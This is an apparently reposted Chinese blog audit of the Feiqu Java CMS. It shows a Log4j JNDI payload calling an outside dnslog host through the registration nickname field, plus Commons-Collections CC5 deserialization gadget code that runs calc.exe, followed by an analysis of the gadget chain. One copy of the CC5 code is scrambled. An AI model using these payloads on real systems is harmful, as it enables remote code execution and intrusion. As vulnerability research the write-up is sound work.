vlambda博客
学习文章列表

java安全 飞趣CMS审计

java安全 飞趣CMS审计

最近在在审一套cms记录一下有趣的过程

在拿cms的之后突然发现前两天xz社区的某位师傅已经分析了该cms所以本人在该原有发现

漏洞的基础上进行了更深一步挖掘

该师傅的文章 https://xz.aliyun.com/t/11137#toc-5

环境部署不做过多讲解简单说一下遇到的""

在该项目的resources配置数据库以及redis redismysql的密码都是通过aes加密的工具类在

com.feiqu.common.utils.AESUtil避免了明文展示密码

java安全 飞趣CMS审计


1.Log4j漏洞

首先跟着复现了一波fastjson的反序列化但是JSON.parseObject无可控点

java安全 飞趣CMS审计

第二处redisString.get这里是由xz的师傅已经分析过无利用点。但是在上面中发现了logger.info()


java安全 飞趣CMS审计

所以现在测试一下log4j这个洞可以发现是存在的


public class Test1 {
public static void main(String[] args) {
LogManager.getLogger(logtest.class);
logger.info("${jndi:ldap://17zuzp.dnslog.cn}");
}
}


java安全 飞趣CMS审计

所以在com.feiqu.web.controller.UserControllerhome函数的944是一个绝佳的利用点

java安全 飞趣CMS审计

经过测试在注册的时候填入payload即可


java安全 飞趣CMS审计

java安全 飞趣CMS审计

日志信


java安全 飞趣CMS审计

DNSLOG回显如下

java安全 飞趣CMS审计


经过在注册的时候也存在log4j的使用


java安全 飞趣CMS审计

payload还是在昵称这里可以看到前端页面中name对应了FqUser工具类中

java安全 飞趣CMS审计


java安全 飞趣CMS审计

当注册之后成功利用

java安全 飞趣CMS审计

于其它的log4j利用点就不找了相对于xz师傅找到的log4j利用点本人找的两个已经非常容易利用了

java安全 飞趣CMS审计




collections3反序列化漏洞

在包中发现了该组件这就用到了CC链系列了这里用CC3版本因为本人在进行测试CC4版本的时候其中有些类不能被序列化了~这就凉凉

java安全 飞趣CMS审计

直接用CC5payload直接打就行了


Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new new Object[] InvokerTransformer("getMethod", new Class[] {String.class, Class[ { "getRuntime", new Class[0] }), ].class },new new Object[] InvokerTransformer("invoke", new Class[] {Object.class, Object[]. { null, new Object[0] }), class },new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};new ChainedTransformer(transformers);Map innerMap = new HashMap();LazyMap.decorate(innerMap, transformerChain);new TiedMapEntry(outerMap,"keykey"); new BadAttributeValueExpException(1); BadAttributeValueExpException.class.getDeclaredField("val");field.setAccessible(true);field.set(POC,tiedmap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(newFileOutputStream("cc5.bin"));objectOutputStream.writeObject(POC);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(newFileInputStream("cc5.bin"));objectInputStream.readObject();objectInputStream.close();


java安全 飞趣CMS审计

简单分析一下CC5这条链的过程

利用链如下


1ObjectInputStream.readObject()2 BadAttributeValueExpException.readObject()3 TiedMapEntry.toString()4 LazyMap.get()5 ChainedTransformer.transform()6 ConstantTransformer.transform()7 InvokerTransformer.transform()8 Method.invoke()9 Class.getMethod()10 InvokerTransformer.transform()11 Method.invoke()12 Runtime.getRuntime()13 InvokerTransformer.transform()14 Method.invoke()

前面的不过多讲解,相信大家都能看懂,这是一个命令执行

Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};new ChainedTransformer(transformers);

接着往下分析

Map innerMap new HashMap(); Map outerMap LazyMap.decorate(innerMap, transformerChain) ;TiedMapEntry new TiedMapEntry(outerMap,"keykey");

LazyMap初始化如下会将transformerChain存入到factory


java安全 飞趣CMS审计

后在LazyMap.get中调用到了transform

java安全 飞趣CMS审计

那么谁会调用到LazyMap.get呢?

TiedMapEntry初始化会将LazyMap作为第一个参数传入

java安全 飞趣CMS审计

以此时关注有没有map.get方法这样就会调用到LazyMap.get方法

java安全 飞趣CMS审计

又又又一个问题TiedMapEntry.getValue()谁会调用?

而利用链中写到了TiedMapEntry.toString()其实toString调用了getValue()从而调用到LazyMap.get方法

java安全 飞趣CMS审计


谁会调用TiedMapEntry.toString()?这里通过反射val设置为了TiedMapEntry(tiedmap)


BadAttributeValueExpException POC = new BadAttributeValueExpException(1);Field field = BadAttributeValueExpException .class.getDeclaredField("val");field.setAccessible(true);field.set(POC,tiedmap);

java安全 飞趣CMS审计

最后在readObject的时候执行了toString方法


java安全 飞趣CMS审计

但是在最后本人只找到了一处readObject

至于后续SQL注入的话找了好几个但参数都不可控也就放弃了